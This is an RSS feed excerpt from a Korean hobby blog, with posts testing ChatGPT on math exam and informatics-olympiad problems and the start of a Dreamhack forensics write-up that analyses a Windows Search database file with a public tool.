onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;844&quot; height=&quot;147&quot; data-filename=&quot;Screenshot 2023-02-16 at 12.22.15 PM.png&quot; data-origin-width=&quot;844&quot; data-origin-height=&quot;147&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6번째: 풀이가 틀렸는데도 답이 10/13이라고 억지로 우김(어떻게 23/91이 10/13이 되지?)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2023-02-16 at 12.22.28 PM.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;738&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BpqGB/btrZsFirp1P/gPLoAuRH92tPcKY3500x81/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BpqGB/btrZsFirp1P/gPLoAuRH92tPcKY3500x81/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BpqGB/btrZsFirp1P/gPLoAuRH92tPcKY3500x81/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBpqGB%2FbtrZsFirp1P%2FgPLoAuRH92tPcKY3500x81%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;571&quot; height=&quot;540&quot; data-filename=&quot;Screenshot 2023-02-16 at 12.22.28 PM.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;738&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 이후로 3번은 더 풀이는 틀리고 답만 맞추었다. (181/182가 10/13라고 하기도 함)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 영어로 물었다.(이유 없음)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그랬더니 내가 생각한 정확한 풀이 과정과 답을 맞췄다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;810&quot; data-origin-height=&quot;665&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ehGCcS/btrZrd79o6q/xRslE7Gxk3gOHmwv0HykBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ehGCcS/btrZrd79o6q/xRslE7Gxk3gOHmwv0HykBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ehGCcS/btrZrd79o6q/xRslE7Gxk3gOHmwv0HykBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FehGCcS%2FbtrZrd79o6q%2FxRslE7Gxk3gOHmwv0HykBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;579&quot; height=&quot;475&quot; data-origin-width=&quot;810&quot; data-origin-height=&quot;665&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막으로 수학 27번을 물었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;874&quot; data-origin-height=&quot;630&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kZt99/btrZsG2VcdL/LxihbPnMJrxCHbcvsTfYFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kZt99/btrZsG2VcdL/LxihbPnMJrxCHbcvsTfYFk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kZt99/btrZsG2VcdL/LxihbPnMJrxCHbcvsTfYFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkZt99%2FbtrZsG2VcdL%2FLxihbPnMJrxCHbcvsTfYFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;541&quot; height=&quot;390&quot; data-origin-width=&quot;874&quot; data-origin-height=&quot;630&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;풀이과정이 길어질것 같아서 답만 알려달라고 했더니 바로 2번으로 답을 맞추는 모습을 보여줬다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;720&quot; data-origin-height=&quot;309&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/psD5n/btrZrT2tnw6/Qx8U5w2VlkBhZceA8zZZvk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/psD5n/btrZrT2tnw6/Qx8U5w2VlkBhZceA8zZZvk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/psD5n/btrZrT2tnw6/Qx8U5w2VlkBhZceA8zZZvk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpsD5n%2FbtrZrT2tnw6%2FQx8U5w2VlkBhZceA8zZZvk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;720&quot; height=&quot;309&quot; data-origin-width=&quot;720&quot; data-origin-height=&quot;309&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과적으로, 인공지능이라서 지문 이해도 빠르고 문제 속도도 당연히 빠른 것 같았지만, 한 번씩 멍청한 짓을 하기도 하는 것 같다.&lt;/p&gt;</description>
      <category>chatGPT</category>
      <author>HackHiJack</author>
      <guid isPermaLink="true">https://hackhijack64.tistory.com/96</guid>
      <comments>https://hackhijack64.tistory.com/96#entry96comment</comments>
      <pubDate>Thu, 16 Feb 2023 12:59:05 +0900</pubDate>
    </item>
    <item>
      <title>ChatGPT  - 정보올림피아드 문제 풀어보기(2021년 초등부 1차대회)</title>
      <link>https://hackhijack64.tistory.com/95</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 요즘 굉장히 핫한 chatgpt를 이용하여 정보올림피아드 문제를 풀어볼 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘 chatgpt한테 풀어보게 할 문제는 '지우개' 문제이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;686&quot; data-origin-height=&quot;927&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/X3VrN/btrZeyiU3cj/pouVudkYdlozR3oNvjnv10/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/X3VrN/btrZeyiU3cj/pouVudkYdlozR3oNvjnv10/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/X3VrN/btrZeyiU3cj/pouVudkYdlozR3oNvjnv10/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FX3VrN%2FbtrZeyiU3cj%2FpouVudkYdlozR3oNvjnv10%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;569&quot; height=&quot;769&quot; data-origin-width=&quot;686&quot; data-origin-height=&quot;927&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;705&quot; data-origin-height=&quot;765&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwfqVd/btrZewk9szL/BGPyLbTAXEbZlaGw080KG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwfqVd/btrZewk9szL/BGPyLbTAXEbZlaGw080KG1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwfqVd/btrZewk9szL/BGPyLbTAXEbZlaGw080KG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwfqVd%2FbtrZewk9szL%2FBGPyLbTAXEbZlaGw080KG1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;595&quot; height=&quot;646&quot; data-origin-width=&quot;705&quot; data-origin-height=&quot;765&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 문제는 배열을 칸을 나눠서 홀수 칸의 숫자를 지우고, 남은 배열 원소를 왼쪽으로 미는 과정을 반복해서 마지막 남은 수를 구하는 문제이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 본격적으로 chatgpt한테 정보올림피아드 코딩문제를 냈을 때 풀 수 있는지 확인 해보겠다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 문제를 내겠다고 하니 자신있는 모습을 보여준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;852&quot; data-origin-height=&quot;159&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3mILA/btrZbQ5NgkO/XF57OLIkzPouiYqvzmnGnk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3mILA/btrZbQ5NgkO/XF57OLIkzPouiYqvzmnGnk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3mILA/btrZbQ5NgkO/XF57OLIkzPouiYqvzmnGnk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3mILA%2FbtrZbQ5NgkO%2FXF57OLIkzPouiYqvzmnGnk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;745&quot; height=&quot;139&quot; data-origin-width=&quot;852&quot; data-origin-height=&quot;159&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 다음 문제설명을 다음과 같이 한번에 끝내니 이해를 했다고 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;837&quot; data-origin-height=&quot;725&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lIgVZ/btrZddTDGgP/i000k2KxRLbfh6J772inik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lIgVZ/btrZddTDGgP/i000k2KxRLbfh6J772inik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lIgVZ/btrZddTDGgP/i000k2KxRLbfh6J772inik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlIgVZ%2FbtrZddTDGgP%2Fi000k2KxRLbfh6J772inik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;675&quot; height=&quot;585&quot; data-origin-width=&quot;837&quot; data-origin-height=&quot;725&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 설명이 굉장히 어려웠는데 chatgpt가 이해했다고 해서 확인할 겸 n이 9일 경우 무슨 수가 남는지 원리를 보여주면서 설명하라고 했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;816&quot; data-origin-height=&quot;762&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ddplar/btrZavg0UnB/mPQ8ElG42pFujavpyhJgh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ddplar/btrZavg0UnB/mPQ8ElG42pFujavpyhJgh0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ddplar/btrZavg0UnB/mPQ8ElG42pFujavpyhJgh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fddplar%2FbtrZavg0UnB%2FmPQ8ElG42pFujavpyhJgh0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;695&quot; height=&quot;649&quot; data-origin-width=&quot;816&quot; data-origin-height=&quot;762&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그런데 진짜 완벽히 이해한 모습을 보여주고 있다.&lt;/p&gt;
&lt;div class=&quot;revenue_unit_wrap&quot;&gt;
  &lt;div class=&quot;revenue_unit_item adsense responsive&quot;&gt;
    &lt;div class=&quot;revenue_unit_info&quot;&gt;반응형&lt;/div&gt;
    &lt;script src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot; async=&quot;async&quot;&gt;&lt;/script&gt;
    &lt;ins class=&quot;adsbygoogle&quot; style=&quot;display: block;&quot; data-ad-host=&quot;ca-host-pub-9691043933427338&quot; data-ad-client=&quot;ca-pub-9926476451023088&quot; data-ad-format=&quot;auto&quot;&gt;&lt;/ins&gt;
    &lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 문제의 조건을 만족하여 파이썬 코드를 만들어 달라고 했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;796&quot; data-origin-height=&quot;765&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cEJKqO/btrZeg3IiWl/oqN7fIoopfSPoVzp2mSetK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cEJKqO/btrZeg3IiWl/oqN7fIoopfSPoVzp2mSetK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cEJKqO/btrZeg3IiWl/oqN7fIoopfSPoVzp2mSetK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcEJKqO%2FbtrZeg3IiWl%2FoqN7fIoopfSPoVzp2mSetK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;713&quot; height=&quot;685&quot; data-origin-width=&quot;796&quot; data-origin-height=&quot;765&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;chatgpt는 자신감있게 아래와 같은 코드를 만들어 주었다.(주석 설명까지 ㄷㄷ)&lt;/p&gt;
&lt;pre id=&quot;code_1676343897549&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;n = int(input())

if 1 &amp;lt;= n &amp;lt;= 100:
    arr = list(range(1, n + 1))  # 1부터 n까지의 수로 배열 생성

    while len(arr) &amp;gt; 1:
        arr = [arr[i] for i in range(len(arr)) if i % 2 == 1]  # 홀수 인덱스 제거
        arr = [arr[i] for i in range(len(arr)) if arr[i] != '']  # 빈칸 제거
    print(arr[0])
else:
    print(&quot;N은 1 이상 100 이하의 정수여야 합니다.&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 이 코드가 맞는지 oikorea에서 채점을 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1728&quot; data-origin-height=&quot;707&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwtBEp/btrZa3Lj1Na/TIkoJ1BVYDnZ0CDCnpCKa0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwtBEp/btrZa3Lj1Na/TIkoJ1BVYDnZ0CDCnpCKa0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwtBEp/btrZa3Lj1Na/TIkoJ1BVYDnZ0CDCnpCKa0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcwtBEp%2FbtrZa3Lj1Na%2FTIkoJ1BVYDnZ0CDCnpCKa0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1214&quot; height=&quot;497&quot; data-origin-width=&quot;1728&quot; data-origin-height=&quot;707&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그랬더니 진짜 100점을 맞은 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가로 아래와 같이 C언어 변환도 가능한 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;848&quot; data-origin-height=&quot;839&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LIBnD/btrZahJMZM9/VZityZ2E8ItXpqlSPZjyYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LIBnD/btrZahJMZM9/VZityZ2E8ItXpqlSPZjyYK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LIBnD/btrZahJMZM9/VZityZ2E8ItXpqlSPZjyYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLIBnD%2FbtrZahJMZM9%2FVZityZ2E8ItXpqlSPZjyYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;848&quot; height=&quot;839&quot; data-origin-width=&quot;848&quot; data-origin-height=&quot;839&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>chatGPT</category>
      <author>HackHiJack</author>
      <guid isPermaLink="true">https://hackhijack64.tistory.com/95</guid>
      <comments>https://hackhijack64.tistory.com/95#entry95comment</comments>
      <pubDate>Tue, 14 Feb 2023 12:18:17 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack] - Windows Search(WRITEUP)</title>
      <link>https://hackhijack64.tistory.com/94</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 드림핵의 forensic 문제인 Windows Search 문제를 풀어보도록 하겠다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;235&quot; data-origin-height=&quot;164&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAttX4/btrXypnGvAD/SVpHtfbRjaJWGOnW9awtok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAttX4/btrXypnGvAD/SVpHtfbRjaJWGOnW9awtok/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAttX4/btrXypnGvAD/SVpHtfbRjaJWGOnW9awtok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAttX4%2FbtrXypnGvAD%2FSVpHtfbRjaJWGOnW9awtok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;235&quot; height=&quot;164&quot; data-origin-width=&quot;235&quot; data-origin-height=&quot;164&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제는 windows.edb 즉 windows search 파일을 툴을 이용하여 쉽게 해결할 수 있는 문제이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주어진 파일은 아래와 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;69&quot; data-origin-height=&quot;82&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c1cArB/btrXwiCoWTq/CSvXLrjwQKnQ1Lb48utohk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c1cArB/btrXwiCoWTq/CSvXLrjwQKnQ1Lb48utohk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c1cArB/btrXwiCoWTq/CSvXLrjwQKnQ1Lb48utohk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc1cArB%2FbtrXwiCoWTq%2FCSvXLrjwQKnQ1Lb48utohk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;69&quot; height=&quot;82&quot; data-origin-width=&quot;69&quot; data-origin-height=&quot;82&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제를 해결하기 위한 툴은 바로 Winsearchdbanalyzer이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/moaistory/WinSearchDBAnalyzer&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/moaistory/WinSearchDBAnalyzer&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1675045514715&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - moaistory/WinSearchDBAnalyzer: http://moaistory.blogspot.com/2018/10/winsearchdbanalyzer.html&quot; data-og-description=&quot;http://moaistory.blogspot.com/2018/10/winsearchdbanalyzer.html - GitHub - moaistory/WinSearchDBAnalyzer: http://moaistory.blogspot.com/2018/10/winsearchdbanalyzer.html&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/moaistory/WinSearchDBAnalyzer&quot; data-og-url=&quot;https://github.com/moaistory/WinSearchDBAnalyzer&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cJL8nn/hyRraKnJyz/6IrQn0c3JuIWESLjavVqyK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/moaistory/WinSearchDBAnalyzer&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/moaistory/WinSearchDBAnalyzer&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cJL8nn/hyRraKnJyz/6IrQn0c3JuIWESLjavVqyK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - moaistory/WinSearchDBAnalyzer: http://moaistory.blogspot.com/2018/10/winsearchdbanalyzer.html&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;http://moaistory.blogspot.com/2018/10/winsearchdbanalyzer.html - GitHub - moaistory/WinSearchDBAnalyzer: http://moaistory.blogspot.com/2018/10/winsearchdbanalyzer.html&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 툴을 사용하면 시스템 내의 파일 정보와 구조를 확인할 수 있기 때문에 flag를 찾아낼 수 있을 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 Winsearchdbanalyzer을 실행 한 다음 아래 사진과 같이 파일을 지정해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;471&quot; data-origin-height=&quot;377&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HG1sS/btrXz1fSkbZ/Fd3pFPBNaWJ1KjxMkYwtY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HG1sS/btrXz1fSkbZ/Fd3pFPBNaWJ1KjxMkYwtY1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HG1sS/btrXz1fSkbZ/Fd3pFPBNaWJ1KjxMkYwtY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHG1sS%2FbtrXz1fSkbZ%2FFd3pFPBNaWJ1KjxMkYwtY1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;471&quot; 